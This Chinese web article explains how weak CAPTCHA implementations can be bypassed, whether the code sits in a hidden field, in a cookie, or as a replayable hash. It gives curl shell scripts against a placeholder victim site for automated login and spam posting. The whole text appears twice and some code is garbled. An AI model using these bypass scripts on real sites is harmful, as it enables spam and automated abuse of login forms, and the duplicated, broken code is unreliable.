黑客如何破解驗(yàn)證碼機(jī)制
互聯(lián)網(wǎng) 發(fā)布時(shí)間:2008-10-08 19:01:42 作者:佚名
我要評(píng)論

所謂驗(yàn)證碼,就是將一串隨機(jī)產(chǎn)生的數(shù)字或符號(hào),生成一幅圖片,圖片里加上一些干擾象素(防止OCR),由用戶(hù)肉眼識(shí)別其中的驗(yàn)證碼信息。
輸入表單提交網(wǎng)站驗(yàn)證,驗(yàn)證成功后才能使用某項(xiàng)功能。不少網(wǎng)站為了防止用戶(hù)利用機(jī)器人自動(dòng)注冊(cè)、登錄、灌水,都采用了 驗(yàn)證碼
所謂驗(yàn)證碼,就是將一串隨機(jī)產(chǎn)生的數(shù)字或符號(hào),生成一幅圖片,圖片里加上一些干擾象素(防止OCR),由用戶(hù)肉眼識(shí)別其中的驗(yàn)證碼信息。
輸入表單提交網(wǎng)站驗(yàn)證,驗(yàn)證成功后才能使用某項(xiàng)功能。不少網(wǎng)站為了防止用戶(hù)利用機(jī)器人自動(dòng)注冊(cè)、登錄、灌水,都采用了 驗(yàn)證碼技術(shù)。 很多驗(yàn)證碼實(shí)現(xiàn)都有問(wèn)題。比如直接給出用驗(yàn)證碼在網(wǎng)頁(yè)和cookies中。 驗(yàn)證碼在網(wǎng)頁(yè)中的例子: CODE: <?
/*
* Filename: authpage.php
* Author: hutuworm
* Date: 2003-04-28
* @Copyleft hutuworm.org
*/ srand((double)microtime()*1000000); //驗(yàn)證用戶(hù)輸入是否和驗(yàn)證碼一致
if(isset($HTTP_POST_VARS['authinput']))
{
if(strcmp($HTTP_POST_VARS['authnum'],$HTTP_POST_VARS['authinput'])==0)
echo "驗(yàn)證成功!";
else
echo "驗(yàn)證失敗!";
}
//生成新的四位整數(shù)驗(yàn)證碼
while(($authnum=rand()000)<1000);
?>
<form action=authpage.php method=post>
<table>
請(qǐng)輸入驗(yàn)證碼:<input type=text name=authinput style="width: 80px"><br>
<input type=submit name="驗(yàn)證" value="提交驗(yàn)證碼">
<input type=hidden name=authnum value=<? echo $authnum; ?>>
<img src=authimg.php?authnum=<? echo $authnum; ?>>
</table>
</form> [Copy to clipboard] 以上例子直接將驗(yàn)證碼儲(chǔ)存在負(fù)面中,只需下載頁(yè)面,得到驗(yàn)證碼值就可突破限制。 CODE: #!/bin/sh
curl [url]http://www.vicitm.org/authpage.php[/url]
authinput=`grep '<input type=hidden name=authnum value=[[:digit:]]\{4\}>' grep.txt | sed -e 's/[^0-9]//g'` #得到網(wǎng)頁(yè)中的 authnum
curl [url]http://www.vicitm.org/authpage.php[/url] -d name=hacker -d submit="驗(yàn)證" -d authnum=$authnum [Copy to clipboard] CODE: session_register("authnum");
$authnum = strval(rand("1111","9999"));
setcookie("authnum",$authnum); ...
<input type=text name=authnum maxlength=4><img src=get_code.php>
... if($number != $login_check_number || empty($number))
{
print("校驗(yàn)碼不正確!");
die();
}
[Copy to clipboard] 第二種要比上一種聰明一點(diǎn),把驗(yàn)證碼值存放在用戶(hù)Cookies中??墒怯捎贑ookies是用戶(hù)可讀可寫(xiě),所以也極易被突破。 CODE: #!/bin/sh
$username=hacker
$password=hackme
curl [url]http://www.vicitm.org/index.php[/url] -c common_cookie # 接受服務(wù)器的初始cookies
curl [url]http://www.vicitm.org/get_code.php[/url] -c $username.cook -b common_cookie # 得到驗(yàn)證碼,從cookies中
authnum=`grep authnum $username.cook | cut -f7`
curl [url]http://www.victim.org/login.php[/url] -b $username.cook -d authnum=$authnum -d username=$username -d password=$password # 使用 cookies中的驗(yàn)證碼登陸 [Copy to clipboard] 更高級(jí)的驗(yàn)證碼。(好像本論壇的就是這種。。。。) 有一類(lèi)驗(yàn)證碼比以上兩種驗(yàn)證碼要高級(jí)一些,它使用如下算法: 1、服務(wù)器生成一個(gè)隨機(jī)hash。
2、使用某個(gè)算法(不可逆,破解難度高的)將hash轉(zhuǎn)化成為驗(yàn)證碼數(shù)字,再轉(zhuǎn)化成圖片。
3、hash在cookie中被發(fā)送到客戶(hù)端
4、客戶(hù)以圖片輸入驗(yàn)證碼,進(jìn)行登錄。服務(wù)器檢查f(hash)=驗(yàn)證碼。 特點(diǎn):因?yàn)楣粽卟幻靼追?wù)器所使用的驗(yàn)證碼編碼算法,所以無(wú)法對(duì)服務(wù)器轉(zhuǎn)來(lái)的hash進(jìn)行直接解析。 對(duì)付這種驗(yàn)證碼,我們可以使用“過(guò)期cookies法”,方法即:保存服務(wù)器一次特定的cookies,將其對(duì)應(yīng)驗(yàn)證碼記下。在每次發(fā)送驗(yàn)證消息時(shí) ,強(qiáng)行扔掉服務(wù)器傳來(lái)的cookies,使用這個(gè)已被使用過(guò)的cookies以及驗(yàn)證碼。就好比,一張電話充值卡可以用多次一樣。 如:
先從服務(wù)器上下載一張驗(yàn)證碼圖片: curl http://www.victim.org/get_code.php -c cookie -o auth.png 人工閱讀,得到$savecookie(cookie文件中的hash)和$authnum(驗(yàn)證碼)。 機(jī)器人突破驗(yàn)證時(shí),扔掉服務(wù)器給的hash,強(qiáng)制使用$savecookie和$authnum進(jìn)行突破 CODE: $savecookie=294b506f05f896dcbb3a0dde86a5e36c
$num=7701
$username=hacker
$password=hackme curl [url]http://www.victim.org/index.php[/url] -c $username.cookie # 得到初始化cookies,以及session id
grep -v authhash $username.cookie > tmp.$username # 扔掉服務(wù)器給你的hash
echo "[url]www.victim.org[/url] FALSE / FALSE 0 hash $savecookie" >> tmp.$username # 強(qiáng)行使用過(guò)期hash 和驗(yàn)證碼
mv tmp.$username $username.cookie
curl [url]http://www.victim.org/login.php[/url] -b $username.cookie -c $username.cookie -d username=$username -d password=$password -d authnum=$num # 使用過(guò)期驗(yàn)證碼登陸。
#登陸成功,去瘋狂灌水。。。。。。 [Copy to clipboard] 最高級(jí)的驗(yàn)證碼。 它使用如下方法: 1、服務(wù)器通過(guò)用戶(hù)相關(guān)信息(IP,SID等等)生成一個(gè)隨機(jī)hash。
2、使用某個(gè)算法(不可逆,破解難度高的)將hash轉(zhuǎn)化成為驗(yàn)證碼數(shù)字。
3、hash不再發(fā)送給客戶(hù)端。它被保存到本地?cái)?shù)據(jù)庫(kù)(通常是SESSIONS,有關(guān)用戶(hù)IP等信息),并由一個(gè)序列號(hào)seq所指向。(這個(gè)seq也可以是session id)
4、seq被作為cookies發(fā)送給客戶(hù)端。
5、客戶(hù)以圖片輸入驗(yàn)證碼。
6、服務(wù)器驗(yàn)證方法:服務(wù)器并不檢查f(hash)==驗(yàn)證碼,而是去讀取數(shù)據(jù)庫(kù)中期望的驗(yàn)證碼。。如果用戶(hù)輸入與期望值相同,則驗(yàn)證成功。有些服務(wù)器可能還會(huì)seq與session id之間的關(guān)系進(jìn)行驗(yàn)繼續(xù)進(jìn)行驗(yàn)證。
7、一旦用戶(hù)進(jìn)行了驗(yàn)證操作或重新獲取驗(yàn)證碼,而是服務(wù)器將對(duì)數(shù)據(jù)庫(kù)中的hash值替換成新的,老值失效過(guò)期。 特點(diǎn): ×過(guò)期:由于服務(wù)器只期望保存在當(dāng)前數(shù)據(jù)庫(kù)中的驗(yàn)證碼,所以無(wú)法使用“過(guò)期”的驗(yàn)證碼(因?yàn)橐驯恍买?yàn)證碼所替換)。
×高強(qiáng)度:只發(fā)送seq,而hash被保存在本地,所以也極難破譯出f(hash)函數(shù)。 弱點(diǎn): OCR(光學(xué)識(shí)別) seq劫持 “驗(yàn)證碼”DOS(對(duì)某些seq進(jìn)行反復(fù)請(qǐng)求,導(dǎo)致某些用戶(hù)無(wú)法進(jìn)行正常驗(yàn)證) 對(duì)付這種驗(yàn)證碼我沒(méi)有什么好的方法,簡(jiǎn)便的方法就是自行下載驗(yàn)證碼,并給用戶(hù)顯示后登陸。這種適用只驗(yàn)證一次的場(chǎng)合。如登陸時(shí)驗(yàn)證。 CODE: curl [url]http://www.victim.org/get_code.php[/url] -c validate.png -c validcode_cookie # 得到驗(yàn)證碼圖片,和對(duì)應(yīng)seq。
seq=`grep seq validcode_cookie | cut -f7`
echo -n 請(qǐng)輸入validate.png中的驗(yàn)證碼:
read valid_number # 輸入驗(yàn)證碼
# 登陸,并進(jìn)行某種自動(dòng)化操作,如瘋狂灌水。
輸入表單提交網(wǎng)站驗(yàn)證,驗(yàn)證成功后才能使用某項(xiàng)功能。不少網(wǎng)站為了防止用戶(hù)利用機(jī)器人自動(dòng)注冊(cè)、登錄、灌水,都采用了 驗(yàn)證碼技術(shù)。 很多驗(yàn)證碼實(shí)現(xiàn)都有問(wèn)題。比如直接給出用驗(yàn)證碼在網(wǎng)頁(yè)和cookies中。 驗(yàn)證碼在網(wǎng)頁(yè)中的例子: CODE: <?
/*
* Filename: authpage.php
* Author: hutuworm
* Date: 2003-04-28
* @Copyleft hutuworm.org
*/ srand((double)microtime()*1000000); //驗(yàn)證用戶(hù)輸入是否和驗(yàn)證碼一致
if(isset($HTTP_POST_VARS['authinput']))
{
if(strcmp($HTTP_POST_VARS['authnum'],$HTTP_POST_VARS['authinput'])==0)
echo "驗(yàn)證成功!";
else
echo "驗(yàn)證失敗!";
}
//生成新的四位整數(shù)驗(yàn)證碼
while(($authnum=rand()000)<1000);
?>
<form action=authpage.php method=post>
<table>
請(qǐng)輸入驗(yàn)證碼:<input type=text name=authinput style="width: 80px"><br>
<input type=submit name="驗(yàn)證" value="提交驗(yàn)證碼">
<input type=hidden name=authnum value=<? echo $authnum; ?>>
<img src=authimg.php?authnum=<? echo $authnum; ?>>
</table>
</form> [Copy to clipboard] 以上例子直接將驗(yàn)證碼儲(chǔ)存在負(fù)面中,只需下載頁(yè)面,得到驗(yàn)證碼值就可突破限制。 CODE: #!/bin/sh
curl [url]http://www.vicitm.org/authpage.php[/url]
authinput=`grep '<input type=hidden name=authnum value=[[:digit:]]\{4\}>' grep.txt | sed -e 's/[^0-9]//g'` #得到網(wǎng)頁(yè)中的 authnum
curl [url]http://www.vicitm.org/authpage.php[/url] -d name=hacker -d submit="驗(yàn)證" -d authnum=$authnum [Copy to clipboard] CODE: session_register("authnum");
$authnum = strval(rand("1111","9999"));
setcookie("authnum",$authnum); ...
<input type=text name=authnum maxlength=4><img src=get_code.php>
... if($number != $login_check_number || empty($number))
{
print("校驗(yàn)碼不正確!");
die();
}
[Copy to clipboard] 第二種要比上一種聰明一點(diǎn),把驗(yàn)證碼值存放在用戶(hù)Cookies中??墒怯捎贑ookies是用戶(hù)可讀可寫(xiě),所以也極易被突破。 CODE: #!/bin/sh
$username=hacker
$password=hackme
curl [url]http://www.vicitm.org/index.php[/url] -c common_cookie # 接受服務(wù)器的初始cookies
curl [url]http://www.vicitm.org/get_code.php[/url] -c $username.cook -b common_cookie # 得到驗(yàn)證碼,從cookies中
authnum=`grep authnum $username.cook | cut -f7`
curl [url]http://www.victim.org/login.php[/url] -b $username.cook -d authnum=$authnum -d username=$username -d password=$password # 使用 cookies中的驗(yàn)證碼登陸 [Copy to clipboard] 更高級(jí)的驗(yàn)證碼。(好像本論壇的就是這種。。。。) 有一類(lèi)驗(yàn)證碼比以上兩種驗(yàn)證碼要高級(jí)一些,它使用如下算法: 1、服務(wù)器生成一個(gè)隨機(jī)hash。
2、使用某個(gè)算法(不可逆,破解難度高的)將hash轉(zhuǎn)化成為驗(yàn)證碼數(shù)字,再轉(zhuǎn)化成圖片。
3、hash在cookie中被發(fā)送到客戶(hù)端
4、客戶(hù)以圖片輸入驗(yàn)證碼,進(jìn)行登錄。服務(wù)器檢查f(hash)=驗(yàn)證碼。 特點(diǎn):因?yàn)楣粽卟幻靼追?wù)器所使用的驗(yàn)證碼編碼算法,所以無(wú)法對(duì)服務(wù)器轉(zhuǎn)來(lái)的hash進(jìn)行直接解析。 對(duì)付這種驗(yàn)證碼,我們可以使用“過(guò)期cookies法”,方法即:保存服務(wù)器一次特定的cookies,將其對(duì)應(yīng)驗(yàn)證碼記下。在每次發(fā)送驗(yàn)證消息時(shí) ,強(qiáng)行扔掉服務(wù)器傳來(lái)的cookies,使用這個(gè)已被使用過(guò)的cookies以及驗(yàn)證碼。就好比,一張電話充值卡可以用多次一樣。 如:
先從服務(wù)器上下載一張驗(yàn)證碼圖片: curl http://www.victim.org/get_code.php -c cookie -o auth.png 人工閱讀,得到$savecookie(cookie文件中的hash)和$authnum(驗(yàn)證碼)。 機(jī)器人突破驗(yàn)證時(shí),扔掉服務(wù)器給的hash,強(qiáng)制使用$savecookie和$authnum進(jìn)行突破 CODE: $savecookie=294b506f05f896dcbb3a0dde86a5e36c
$num=7701
$username=hacker
$password=hackme curl [url]http://www.victim.org/index.php[/url] -c $username.cookie # 得到初始化cookies,以及session id
grep -v authhash $username.cookie > tmp.$username # 扔掉服務(wù)器給你的hash
echo "[url]www.victim.org[/url] FALSE / FALSE 0 hash $savecookie" >> tmp.$username # 強(qiáng)行使用過(guò)期hash 和驗(yàn)證碼
mv tmp.$username $username.cookie
curl [url]http://www.victim.org/login.php[/url] -b $username.cookie -c $username.cookie -d username=$username -d password=$password -d authnum=$num # 使用過(guò)期驗(yàn)證碼登陸。
#登陸成功,去瘋狂灌水。。。。。。 [Copy to clipboard] 最高級(jí)的驗(yàn)證碼。 它使用如下方法: 1、服務(wù)器通過(guò)用戶(hù)相關(guān)信息(IP,SID等等)生成一個(gè)隨機(jī)hash。
2、使用某個(gè)算法(不可逆,破解難度高的)將hash轉(zhuǎn)化成為驗(yàn)證碼數(shù)字。
3、hash不再發(fā)送給客戶(hù)端。它被保存到本地?cái)?shù)據(jù)庫(kù)(通常是SESSIONS,有關(guān)用戶(hù)IP等信息),并由一個(gè)序列號(hào)seq所指向。(這個(gè)seq也可以是session id)
4、seq被作為cookies發(fā)送給客戶(hù)端。
5、客戶(hù)以圖片輸入驗(yàn)證碼。
6、服務(wù)器驗(yàn)證方法:服務(wù)器并不檢查f(hash)==驗(yàn)證碼,而是去讀取數(shù)據(jù)庫(kù)中期望的驗(yàn)證碼。。如果用戶(hù)輸入與期望值相同,則驗(yàn)證成功。有些服務(wù)器可能還會(huì)seq與session id之間的關(guān)系進(jìn)行驗(yàn)繼續(xù)進(jìn)行驗(yàn)證。
7、一旦用戶(hù)進(jìn)行了驗(yàn)證操作或重新獲取驗(yàn)證碼,而是服務(wù)器將對(duì)數(shù)據(jù)庫(kù)中的hash值替換成新的,老值失效過(guò)期。 特點(diǎn): ×過(guò)期:由于服務(wù)器只期望保存在當(dāng)前數(shù)據(jù)庫(kù)中的驗(yàn)證碼,所以無(wú)法使用“過(guò)期”的驗(yàn)證碼(因?yàn)橐驯恍买?yàn)證碼所替換)。
×高強(qiáng)度:只發(fā)送seq,而hash被保存在本地,所以也極難破譯出f(hash)函數(shù)。 弱點(diǎn): OCR(光學(xué)識(shí)別) seq劫持 “驗(yàn)證碼”DOS(對(duì)某些seq進(jìn)行反復(fù)請(qǐng)求,導(dǎo)致某些用戶(hù)無(wú)法進(jìn)行正常驗(yàn)證) 對(duì)付這種驗(yàn)證碼我沒(méi)有什么好的方法,簡(jiǎn)便的方法就是自行下載驗(yàn)證碼,并給用戶(hù)顯示后登陸。這種適用只驗(yàn)證一次的場(chǎng)合。如登陸時(shí)驗(yàn)證。 CODE: curl [url]http://www.victim.org/get_code.php[/url] -c validate.png -c validcode_cookie # 得到驗(yàn)證碼圖片,和對(duì)應(yīng)seq。
seq=`grep seq validcode_cookie | cut -f7`
echo -n 請(qǐng)輸入validate.png中的驗(yàn)證碼:
read valid_number # 輸入驗(yàn)證碼
# 登陸,并進(jìn)行某種自動(dòng)化操作,如瘋狂灌水。
相關(guān)文章
- “CMOS密碼”就是通常所說(shuō)的“開(kāi)機(jī)密碼”,主要是為了防止別人使用自已的計(jì)算機(jī),設(shè)置的一個(gè)屏障2023-08-01
QQScreenShot之逆向并提取QQ截圖--OCR和其他功能
上一篇文章逆向并提取QQ截圖沒(méi)有提取OCR功能, 再次逆向我發(fā)現(xiàn)是可以本地調(diào)用QQ的OCR的,但翻譯按鈕確實(shí)沒(méi)啥用, 于是Patch了翻譯按鈕事件, 改為了將截圖用百度以圖搜圖搜索.2023-02-04- QQ截圖是我用過(guò)的最好用的截圖工具, 由于基本不在電腦上登QQ了, 于是就想將其提取出獨(dú)立版目前除了屏幕錄制功能其他都逆出來(lái)了, 在此分享一下2023-02-04
非系統(tǒng)分區(qū)使用BitLocker加密導(dǎo)致軟件無(wú)法安裝的解決方法
很多電腦用戶(hù)在考慮自己電腦磁盤(pán)分區(qū)安全時(shí)會(huì)采用 Windows 自帶的 BitLocker 加密工具對(duì)電腦磁盤(pán)分區(qū)進(jìn)行加密。但有些人加密后就會(huì)忘記自己設(shè)置的密碼從而導(dǎo)致在安裝其它軟2020-11-25防止離職員工帶走客戶(hù)、防止內(nèi)部員工泄密、避免華為員工泄密事件的發(fā)生
這篇文章為大家詳細(xì)介紹了如何才能防止離職員工帶走客戶(hù)、防止內(nèi)部員工泄密、避免華為員工泄密事件的發(fā)生,具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下2017-06-27徹底防止計(jì)算機(jī)泄密、重要涉密人員離職泄密、涉密人員離崗離職前防范舉
近些年企業(yè)商業(yè)機(jī)密泄漏的事件屢有發(fā)生,這篇文章主要教大家如何徹底防止計(jì)算機(jī)泄密、重要涉密人員離職泄密、告訴大家涉密人員離崗離職前的防范舉措,具有一定的參考價(jià)值,2017-06-27量子計(jì)算機(jī)輕松破解加密算法 如何破解加密算法?
最近有電腦用戶(hù)反應(yīng)量子計(jì)算機(jī)可以破解下載的所有的加密算法嗎?其實(shí)也不是不可以,下面虛擬就為大家講解買(mǎi)臺(tái)量子計(jì)算機(jī),如何分分鐘破解加密算法2016-09-26怎么破解Webshell密碼 Burpsuite破解Webshell密碼圖文教程
webshell是以asp、php、jsp或者cgi等網(wǎng)頁(yè)文件形式存在的一種命令執(zhí)行環(huán)境,一種網(wǎng)頁(yè)后門(mén)。黑客通常會(huì)通過(guò)它控制別人網(wǎng)絡(luò)服務(wù)器,那么怎么破解webshell密碼呢?一起來(lái)看看吧2016-09-19針對(duì)Linux系統(tǒng)全盤(pán)加密的啟動(dòng)攻擊
本文討論了針對(duì)Linux系統(tǒng)全盤(pán)加密的冷啟動(dòng)攻擊,大家都認(rèn)為這種攻擊是可行的,但執(zhí)行這么一次攻擊有多難?攻擊的可行性有多少呢?需要的朋友可以參考下2015-12-28防止泄露公司機(jī)密、企業(yè)數(shù)據(jù)防泄密軟件排名、電腦文件加密軟件排行
面對(duì)日漸嚴(yán)重的內(nèi)部泄密事件,我們?nèi)绾问刈o(hù)企業(yè)的核心信息,如何防止內(nèi)部泄密也就成了擺在各個(gè)企業(yè)領(lǐng)導(dǎo)面前的一大問(wèn)題。其實(shí),針對(duì)內(nèi)網(wǎng)安全,防止內(nèi)部信息泄漏早已有了比較2015-12-17